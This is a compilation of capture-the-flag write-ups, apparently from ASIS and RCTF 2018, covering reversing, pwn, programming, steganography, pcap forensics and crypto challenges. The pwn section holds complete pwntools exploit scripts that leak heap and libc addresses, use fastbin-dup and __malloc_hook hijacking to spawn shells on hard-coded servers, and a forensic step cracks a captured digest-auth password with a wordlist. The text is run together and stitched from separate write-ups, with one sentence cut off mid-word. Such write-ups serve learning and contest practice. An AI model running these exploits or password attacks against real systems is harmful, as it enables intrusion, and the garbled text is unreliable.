```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}```
It seems like they are all fake flag.
Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag.
Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position.

Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen
Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}`
There is another way to capture the flag. In this way, you should find out the real secret key.
Practically, you need to locate the key-checking function.
Track those fake key. you will find out the key-checking function. It is located at `sub_83c0`
Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107)
In this challenge you will get a binary and a encrypted flag.
This chllenge is not difficult at all. The binary name is "b64pack".
You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==```
There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==`
We still need to reverse the binary. You can divide this binary into three part.
The first part:`input=randomstr+input+flag`
The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")```
Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn
### Cat (kevin47)
* I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address
```python#!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('178.62.40.102', 6000)
def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0'))
def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00'))
def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True)
def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0'))
create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n')
create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc)
delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack)
delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary)
# switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1)
edit(0, 'b', 'b', 2, 'n')delete(1)
fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00')
# puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1)
# reset fastbindelete(4)delete(0)
create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag')
#embed()r.interactive()
# ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}```
### Just_sort (kevin47)
* Simple overflow and UAF problem
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom ctypes import *import re
context.arch = 'amd64'
r = remote('159.65.125.233', 6005)
def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s)
def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s)
def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True)
def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s)
def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p))
insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0)
r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}```
### message_me (kevin47)
* UAF* hijack __malloc_hook with fastbin dup attack
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom ctypes import *import re
context.arch = 'amd64'
#r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003)
def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content)
def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx))
def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True)
def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx))
add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc)
# fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic))
# trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100')
r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}```
### Tinypwn (kevin47)
* Use the syscall execveat
```python2#!/usr/bin/env python2
from pwn import *from IPython import embedfrom ctypes import *import re
context.arch = 'amd64'
#r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009)
r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18)
r.interactive()
# ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}```
## PPC
### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*-
from sage.all import *from pwn import *
def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l
r = remote('37.139.22.174', 11740)
r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s))
stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1)))
print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break
r.interactive()```
### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool!
```python#!/usr/bin/env python
import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp
from pwn import *
host = '37.139.22.174'port = 56653
def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None
def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r
if __name__ == '__main__': import sys r = my_remote(host, port, show=True)
while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k))
if k == 9: break
r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}`
### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point.
Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used.
Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import *
def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry
while True: r.recvuntil('k = ') k = int(r.recvline()[:-1])
m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry)
cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1)
r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break```
FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}`
## misc
### Plastic (sces60107)
There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"```
You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==`
But you cannot just use base64 decoder. There is something you need to do first.
You remove every `` in the string. Then, you can use base64 decode.
After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data
The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot
```
The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}`
## forensic
### Trashy Or Classy (sces60107 bookgin)
In this forensic challenge you will get a pcap file.
In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/`
It's a compilicated challenge. I will try to make a long story short.
This challenge can be divided into three steps.
#### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx`
Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync)
You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx`
There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr`
But you need the username and password for the authentication.
#### second step
The username can be found in the pcap file. It's `admin`
But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication)
You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack.
It's won't take too much time to crack the password.
Finally, the password is `rainbow`
#### third step
Now you can login and download the `flag.caidx`.
But you still cannot list `flag.castr`
You may need to install `casync`
Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk`
You can download all the chunk file in `flag.castr` now.
Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png```
The flaf is right here.
The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}`
### Tokyo (sces60107)
Without the hint, this challenge is probably the most guessing challenge in this CTF.
We will get a binary, but it can't be recognized by any tools.
After some investigation, I got three clues from the binary.
First, there is a header at the begining of this binary. And the header begin with `KC\n`
Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter.
Gather all the printable letter. It seems like you can reconstruct the flag from it in some order.
`!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua`
Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary.
Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89.
These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3.
That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet`
Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database
`KC\n` is the magic signatrure of kyoto cabinet database file.
According the header, we can also find out that it is a hashdatabase.
After understanding the mechanism of kypto cabinet database, the end of the database is the record section.
Those 3-byte-long blocks is buckets.

So, the last question is what the key is.
According to record section, we will know the key size which is 3 byte long.
After several attempts, I found out the keys of the flag go from "000" to "088"
It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet
def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:]
temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3)
t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp)
flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2
indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007)
flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3```
This code is not a clean code. I'm sorry about that.
By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}`
## crypto
### the_early_school (shw)```pythonfrom Crypto.Util.number import *
def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r
with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:]
for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}`
### Iran (shw and sasdf)
#### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy
getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t)
for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec
print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)``` |
**Description**
> I love cats! PS: This is NOT a web challenge. Just find the cats.> > http://cats.2018.teamrois.cn:1337
**Solution**
At the address we see:

And the linked dockerfile:
FROM ubuntu:latest ENV TZ=Asia/Shanghai RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone RUN apt-get update && apt-get install -y php python3 nodejs ruby && mkdir /app WORKDIR /app # build: docker build -t rctf_cats . # judge: docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro rctf_cats bash -c "timeout 5 diff -Z <(cat food) <(eachCatNameYouProvided food)"
So, without bothering to actually set up Docker, we see that it runs the command `timeout 5 diff -Z <(cat food) <(eachCatNameYouProvided food)`. Whatever we put into the textarea will be the contents of the file `food`. Then the command compares the output of `cat food`, i.e. the contents we provided, with 15 commands we provide in the second input invoked with the argument `food`.
Some other details – `cat` doesn't count as a cat (too obvious I guess!), and thanks to the regex we cannot provide any commandline arguments, just the names of commands that we want to run. Finally, the content of the file has to be at least 2 bytes, but no more than 1337 bytes, so an empty file is unfortunately not possible.
The solution was obtained by using a basic Ubuntu VM. In the shell I typed `a`, then presed tab twice to get a listing of commands that start with `a`, then looked for anything that might work. Same for every other letter.
The most important thing to realise for this part of the challenge was probably that we need to have 15 commands that will output the same thing as `cat food` *in this particular* setup. We don't actually need to find 15 commands that do the same thing as `cat` (why would they even exist then?).
So, the commands I provided fall into two categories:
- ones which treat the argument `food` as a path or filename (e.g. `ls`) - ones which treat the argument `food` as a string (e.g. `echo`)
Thinking of `echo food` and `cat food`, I decided the best choice for the contents of the `food` file was the literal string `food`. Then `cat food` simply outputs `food`. Useful.
And so finally, the list of commands I chose:
- `ls` - normally lists directories, but given a path to a file it simply outputs its name (this is more useful when combined with other arguments) - `dir` - basically the same as `ls` as far as I can tell - `more` - normally provides an interactive terminal viewer for file contents, but when piped into a command like `diff` it behaves just like `cat` - `php` - by default, PHP copies file contents to stdout, unless it finds the tag ` Wew, you've found 15 cats! Here is your flag: RCTF{you_love_cats_dont_you}. If you can find at least 4 out of 5 cats whose names in (python3, bash, php, node, ruby), I will give you another flag ._. |
**Description**
> attachment: https://drive.google.com/open?id=11lK6aKJZEq6QhrD6L7SSew4KhvXz_cz0> > nc cpushop.2018.teamrois.cn 43000
**Solution**
After playing a bit with the menus, we see that the script lets us see a list of items we can purchase:
1. List Items 2. Order 3. Pay 4. Exit Command: 1 0 - Intel Core i9-7900X $999 1 - Intel Core i7-7820X $599 2 - Intel Core i7-7700K $349 3 - Intel Core i5-7600K $249 4 - Intel Core i3-7350K $179 5 - AMD Ryzen Threadripper 1950X $999 6 - AMD Ryzen 7 1800X $499 7 - AMD Ryzen 5 1600X $249 8 - AMD Ryzen 3 1300X $149 9 - Flag $99999
The flag is right there, but we need 99999 money to buy it, while the script always sets our budget to a random number in \[1000, 10000\]. However, the purchase is split into two parts - ordering and paying. We can order the flag, and get a string like:
product=Flag&price=99999×tamp=1526990158350980&sign=efbde9d690dd7ea26876af15fef0450a5ebd037ebfb68954d5a5e700be503138
But if we actually try to use this order when paying, we get told we don't have enough money.
After some brief analysis of how the order token is created, we see it is a textbook case of length extension attack, even down to the same query string format as presented on [Wikipedia](https://en.wikipedia.org/wiki/Length_extension_attack).
